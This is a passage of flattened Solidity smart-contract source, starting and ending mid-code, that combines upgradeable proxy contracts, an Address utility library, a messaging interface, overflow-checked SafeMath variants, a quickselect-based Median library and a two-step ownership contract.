* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
*/
function upgradeTo(address newImplementation) external virtual ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable virtual ifAdmin {
_upgradeTo(newImplementation);
Address.functionDelegateCall(newImplementation, data);
}
/**
* @dev Returns the current admin.
*/
function _admin() internal view virtual returns (address adm) {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
adm := sload(slot)
}
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}.
*/
function _beforeFallback() internal virtual override {
require(msg.sender != _admin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./Proxy.sol";
import "../utils/Address.sol";
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*
* Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see
* {TransparentUpgradeableProxy}.
*/
contract UpgradeableProxy is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
Address.functionDelegateCall(_logic, _data);
}
}
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal view virtual override returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal virtual {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "UpgradeableProxy: new implementation is not a contract");
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImplementation)
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
interface IMessageProvider {
event InboxMessageDelivered(uint256 indexed messageNum, bytes data);
event InboxMessageDeliveredFromOrigin(uint256 indexed messageNum);
}
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|
pragma solidity 0.6.6;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library SignedSafeMath {
int256 constant private _INT256_MIN = -2**255;
/**
* @dev Multiplies two signed integers, reverts on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow");
int256 c = a * b;
require(c / a == b, "SignedSafeMath: multiplication overflow");
return c;
}
/**
* @dev Integer division of two signed integers truncating the quotient, reverts on division by zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "SignedSafeMath: division by zero");
require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow");
int256 c = a / b;
return c;
}
/**
* @dev Subtracts two signed integers, reverts on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow");
return c;
}
/**
* @dev Adds two signed integers, reverts on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow");
return c;
}
/**
* @notice Computes average of two signed integers, ensuring that the computation
* doesn't overflow.
* @dev If the result is not an integer, it is rounded towards zero. For example,
* avg(-3, -4) = -3
*/
function avg(int256 _a, int256 _b)
internal
pure
returns (int256)
{
if ((_a < 0 && _b > 0) || (_a > 0 && _b < 0)) {
return add(_a, _b) / 2;
}
int256 remainder = (_a % 2 + _b % 2) / 2;
return add(add(_a / 2, _b / 2), remainder);
}
}
library Median {
using SignedSafeMath for int256;
int256 constant INT_MAX = 2**255-1;
/**
* @notice Returns the sorted middle, or the average of the two middle indexed items if the
* array has an even number of elements.
* @dev The list passed as an argument isn't modified.
* @dev This algorithm has expected runtime O(n), but for adversarially chosen inputs
* the runtime is O(n^2).
* @param list The list of elements to compare
*/
function calculate(int256[] memory list)
internal
pure
returns (int256)
{
return calculateInplace(copy(list));
}
/**
* @notice See documentation for function calculate.
* @dev The list passed as an argument may be permuted.
*/
function calculateInplace(int256[] memory list)
internal
pure
returns (int256)
{
require(0 < list.length, "list must not be empty");
uint256 len = list.length;
uint256 middleIndex = len / 2;
if (len % 2 == 0) {
int256 median1;
int256 median2;
(median1, median2) = quickselectTwo(list, 0, len - 1, middleIndex - 1, middleIndex);
return SignedSafeMath.avg(median1, median2);
} else {
return quickselect(list, 0, len - 1, middleIndex);
}
}
/**
* @notice Maximum length of list that shortSelectTwo can handle
*/
uint256 constant SHORTSELECTTWO_MAX_LENGTH = 7;
/**
* @notice Select the k1-th and k2-th element from list of length at most 7
* @dev Uses an optimal sorting network
*/
function shortSelectTwo(
int256[] memory list,
uint256 lo,
uint256 hi,
uint256 k1,
uint256 k2
)
private
pure
returns (int256 k1th, int256 k2th)
{
// Uses an optimal sorting network (https://en.wikipedia.org/wiki/Sorting_network)
// for lists of length 7. Network layout is taken from
// http://jgamble.ripco.net/cgi-bin/nw.cgi?inputs=7&algorithm=hibbard&output=svg
uint256 len = hi + 1 - lo;
int256 x0 = list[lo + 0];
int256 x1 = 1 < len ? list[lo + 1] : INT_MAX;
int256 x2 = 2 < len ? list[lo + 2] : INT_MAX;
int256 x3 = 3 < len ? list[lo + 3] : INT_MAX;
int256 x4 = 4 < len ? list[lo + 4] : INT_MAX;
int256 x5 = 5 < len ? list[lo + 5] : INT_MAX;
int256 x6 = 6 < len ? list[lo + 6] : INT_MAX;
if (x0 > x1) {(x0, x1) = (x1, x0);}
if (x2 > x3) {(x2, x3) = (x3, x2);}
if (x4 > x5) {(x4, x5) = (x5, x4);}
if (x0 > x2) {(x0, x2) = (x2, x0);}
if (x1 > x3) {(x1, x3) = (x3, x1);}
if (x4 > x6) {(x4, x6) = (x6, x4);}
if (x1 > x2) {(x1, x2) = (x2, x1);}
if (x5 > x6) {(x5, x6) = (x6, x5);}
if (x0 > x4) {(x0, x4) = (x4, x0);}
if (x1 > x5) {(x1, x5) = (x5, x1);}
if (x2 > x6) {(x2, x6) = (x6, x2);}
if (x1 > x4) {(x1, x4) = (x4, x1);}
if (x3 > x6) {(x3, x6) = (x6, x3);}
if (x2 > x4) {(x2, x4) = (x4, x2);}
if (x3 > x5) {(x3, x5) = (x5, x3);}
if (x3 > x4) {(x3, x4) = (x4, x3);}
uint256 index1 = k1 - lo;
if (index1 == 0) {k1th = x0;}
else if (index1 == 1) {k1th = x1;}
else if (index1 == 2) {k1th = x2;}
else if (index1 == 3) {k1th = x3;}
else if (index1 == 4) {k1th = x4;}
else if (index1 == 5) {k1th = x5;}
else if (index1 == 6) {k1th = x6;}
else {revert("k1 out of bounds");}
uint256 index2 = k2 - lo;
if (k1 == k2) {return (k1th, k1th);}
else if (index2 == 0) {return (k1th, x0);}
else if (index2 == 1) {return (k1th, x1);}
else if (index2 == 2) {return (k1th, x2);}
else if (index2 == 3) {return (k1th, x3);}
else if (index2 == 4) {return (k1th, x4);}
else if (index2 == 5) {return (k1th, x5);}
else if (index2 == 6) {return (k1th, x6);}
else {revert("k2 out of bounds");}
}
/**
* @notice Selects the k-th ranked element from list, looking only at indices between lo and hi
* (inclusive). Modifies list in-place.
*/
function quickselect(int256[] memory list, uint256 lo, uint256 hi, uint256 k)
private
pure
returns (int256 kth)
{
require(lo <= k);
require(k <= hi);
while (lo < hi) {
if (hi - lo < SHORTSELECTTWO_MAX_LENGTH) {
int256 ignore;
(kth, ignore) = shortSelectTwo(list, lo, hi, k, k);
return kth;
}
uint256 pivotIndex = partition(list, lo, hi);
if (k <= pivotIndex) {
// since pivotIndex < (original hi passed to partition),
// termination is guaranteed in this case
hi = pivotIndex;
} else {
// since (original lo passed to partition) <= pivotIndex,
// termination is guaranteed in this case
lo = pivotIndex + 1;
}
}
return list[lo];
}
/**
* @notice Selects the k1-th and k2-th ranked elements from list, looking only at indices between
* lo and hi (inclusive). Modifies list in-place.
*/
function quickselectTwo(
int256[] memory list,
uint256 lo,
uint256 hi,
uint256 k1,
uint256 k2
)
internal // for testing
pure
returns (int256 k1th, int256 k2th)
{
require(k1 < k2);
require(lo <= k1 && k1 <= hi);
require(lo <= k2 && k2 <= hi);
while (true) {
if (hi - lo < SHORTSELECTTWO_MAX_LENGTH) {
return shortSelectTwo(list, lo, hi, k1, k2);
}
uint256 pivotIdx = partition(list, lo, hi);
if (k2 <= pivotIdx) {
hi = pivotIdx;
} else if (pivotIdx < k1) {
lo = pivotIdx + 1;
} else {
assert(k1 <= pivotIdx && pivotIdx < k2);
k1th = quickselect(list, lo, pivotIdx, k1);
k2th = quickselect(list, pivotIdx + 1, hi, k2);
return (k1th, k2th);
}
}
}
/**
* @notice Partitions list in-place using Hoare's partitioning scheme.
* Only elements of list between indices lo and hi (inclusive) will be modified.
* Returns an index i, such that:
* - lo <= i < hi
* - forall j in [lo, i]. list[j] <= list[i]
* - forall j in [i, hi]. list[i] <= list[j]
*/
function partition(int256[] memory list, uint256 lo, uint256 hi)
private
pure
returns (uint256)
{
// We don't care about overflow of the addition, because it would require a list
// larger than any feasible computer's memory.
int256 pivot = list[(lo + hi) / 2];
lo -= 1; // this can underflow. that's intentional.
hi += 1;
while (true) {
do {
lo += 1;
} while (list[lo] < pivot);
do {
hi -= 1;
} while (list[hi] > pivot);
if (lo < hi) {
(list[lo], list[hi]) = (list[hi], list[lo]);
} else {
// Let orig_lo and orig_hi be the original values of lo and hi passed to partition.
// Then, hi < orig_hi, because hi decreases *strictly* monotonically
// in each loop iteration and
// - either list[orig_hi] > pivot, in which case the first loop iteration
// will achieve hi < orig_hi;
// - or list[orig_hi] <= pivot, in which case at least two loop iterations are
// needed:
// - lo will have to stop at least once in the interval
// [orig_lo, (orig_lo + orig_hi)/2]
// - (orig_lo + orig_hi)/2 < orig_hi
return hi;
}
}
}
/**
* @notice Makes an in-memory copy of the array passed in
* @param list Reference to the array to be copied
*/
function copy(int256[] memory list)
private
pure
returns(int256[] memory)
{
int256[] memory list2 = new int256[](list.length);
for (uint256 i = 0; i < list.length; i++) {
list2[i] = list[i];
}
return list2;
}
}
/**
* @title The Owned contract
* @notice A contract with helpers for basic contract ownership.
*/
contract Owned {
address public owner;
address private pendingOwner;
event OwnershipTransferRequested(
address indexed from,
address indexed to
);
event OwnershipTransferred(
address indexed from,
address indexed to
);
constructor() public {
owner = msg.sender;
}
/**
* @dev Allows an owner to begin transferring ownership to a new address,
* pending.
*/
function transferOwnership(address _to)
external
onlyOwner()
{
pendingOwner = _to;
emit OwnershipTransferRequested(owner, _to);
}
/**
* @dev Allows an ownership transfer to be completed by the recipient.
*/
function acceptOwnership()
external
{
require(msg.sender == pendingOwner, "Must be proposed owner");
address oldOwner = owner;
owner = msg.sender;
pendingOwner = address(0);
emit OwnershipTransferred(oldOwner, msg.sender);
}
/**
* @dev Reverts if called by anyone other than the contract owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "Only callable by owner");
_;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* This library is a version of Open Zeppelin's SafeMath, modified to support
* unsigned 128 bit integers.
*/
library SafeMath128 {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint128 a, uint128 b) internal pure returns (uint128) {
uint128 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint128 a, uint128 b) internal pure returns (uint128) {
require(b <= a, "SafeMath: subtraction overflow");
uint128 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint128 a, uint128 b) internal pure returns (uint128) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint128 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint128 a, uint128 b) internal pure returns (uint128) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint128 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint128 a, uint128 b) internal pure returns (uint128) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* This library is a version of Open Zeppelin's SafeMath, modified to support
* unsigned 32 bit integers.
*/
library SafeMath32 {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint32 a, uint32 b) internal pure returns (uint32) {
require(b <= a, "SafeMath: subtraction overflow");
uint32 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint32 a, uint32 b) internal pure returns (uint32) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint32 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint32 a, uint32 b) internal pure returns (uint32) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint32 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint32 a, uint32 b) internal pure returns (uint32) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* This library is a version of Open Zeppelin's SafeMath, modified to support
* unsigned 64 bit integers.
*/
library SafeMath64 {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint64 a, uint64 b) internal pure returns (uint64) {
uint64 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint64 a, uint64 b) internal pure returns (uint64) {
require(b <= a, "SafeMath: subtraction overflow");
uint64 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint64 a, uint64 b) internal pure returns (uint64) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint64 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint64 a, uint64 b) internal pure returns (uint64) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint64 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
